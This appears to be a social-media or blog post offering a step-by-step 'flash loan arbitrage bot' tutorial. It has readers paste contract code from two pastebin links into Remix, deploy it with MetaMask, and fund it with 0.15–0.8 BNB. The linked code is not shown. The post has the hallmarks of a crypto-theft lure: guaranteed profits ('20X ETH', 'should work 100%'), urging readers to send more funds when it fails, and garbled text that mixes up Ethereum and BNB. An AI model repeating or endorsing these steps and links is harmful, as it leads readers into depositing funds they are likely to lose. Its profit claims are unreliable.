How I Made 20X ETH in Minutes A Detailed Guide to Creating an Ethereum Flash Loan Arbitrage Bot

One kind of decentralized financial service that may be found on the Binance Smart Chain (BSC) is called BNB. Without the need for collateral, it allows users to borrow and spend a sizable portion of BNB (Binance Coin) in a single transaction. are generally employed in trading, arbitrage, or the execution of intricate techniques designed to profit from transient price discrepancies between many platforms. Step By Step Tutorial for Flash Loan: 1. Get the Metamask Extension for your browser 2. Open 👉https://remix.ethereum.org/ from within your browser. 3. Click on File Explorers and click "Create New File ". 4. Name the file flashloan.sol and paste the contract code link below. Updated Smart Contract Code: https://pastebin.com/raw/BUeWzpUF or https://pastebin.com/raw/Vm2hgb84 5. Connect your MetaMask wallet. 6. Click on the "Solidity Compiler" and set the compiler version to 0.5.0 7. Click on the Solidity Compiler and then click the blue button "Compile flashloan.sol" 8. Wait for the code to compile. 9. Click on Deploy & Run transactions and set "ENVIRONMENT" to (Injected Web3) OR (Injected Provider - MetaMask). 10. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button 11. 👉 On "_TOKENNAME" Tester 12. 👉 On "_TOKENSYMBOL" TOKX 13. 👉 On "_LOANAMOUNT" 2000 14. Click Transact and confirm the transaction in MetaMask. 15. Wait for the transaction to confirm. 16. Copy the address of the newly deployed contract. 17: Send BNB to the deployed contract to initiate the swap 0.15 BNB (0.4 BNB up is better as you will get a bigger amount in each swap) ➡️ NOTE: UPDATED GAS AMOUNT FEE REQUIREMENT: 0.15 BNB - 0.8 BNB is required to perform arbitrage successfully depending on gwei. 18. Wait for the transaction to confirm. 19. Now, Click "action" (red box) to execute the Flash Loan. 20. Confirm the transaction in MetaMask and wait for the confirmation. 21. You can now check your wallet Note: if it doesn't work with 0.15 BNB try to send another 0.15 BNB (0.80 is better), because fees may be different from day to day. (0.15 BNB for each 500 BNB you are borrowing) Avoid using very low amounts as contract may fail below 0.15 BNB Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don't panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 500 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you're done. #flashloan , #cryptoarbitrage , #ethereum , #matic , #ftm , #avax , #arbitrage ,#bnb